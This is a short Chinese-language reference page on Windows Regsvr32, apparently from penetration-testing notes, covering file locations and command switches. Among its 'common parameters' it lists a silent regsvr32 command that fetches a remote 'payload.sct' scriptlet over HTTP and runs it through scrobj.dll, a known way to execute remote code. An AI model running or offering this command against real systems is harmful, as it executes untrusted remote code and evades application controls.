应用


Regsvr32

Regsvr32 命令用于注册 COM 组件,是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。WinXP 及以上系统的 regsvr32.exe 在 windows\system32 文件夹下;2000 系统的 regsvr32.exe 在 winnt\system32 文件夹下。

注意在 Windows 操作系统的 64 位版本上,有两个版本的 Regsv32.exe 文件:

  • 64位版本为 %systemroot%\System32\regsvr32.exe。

  • 32位版本是 %systemroot%\SysWoW64\regsvr32.exe。

下面是常用参数

regsvr32 xxx.dll
regsvr32 /u /n /s /i:http://192.168.1.1:80/payload.sct scrobj.dll

# /u 取消注册
# /s 指定 regsvr32 安静运行,在成功注册 / 反注册 DLL 文件的前提下不显示结果提示框。
# /n 指定不调用 DllRegisterServer。此选项必须与 /i 共同使用。
# /i:cmdline 调用 DllInstall 将它传递到可选的 [cmdline]。

更多内容参考:

  • https://support.microsoft.com/en-us/help/249873/how-to-use-the-regsvr32-tool-and-troubleshoot-regsvr32-error-messages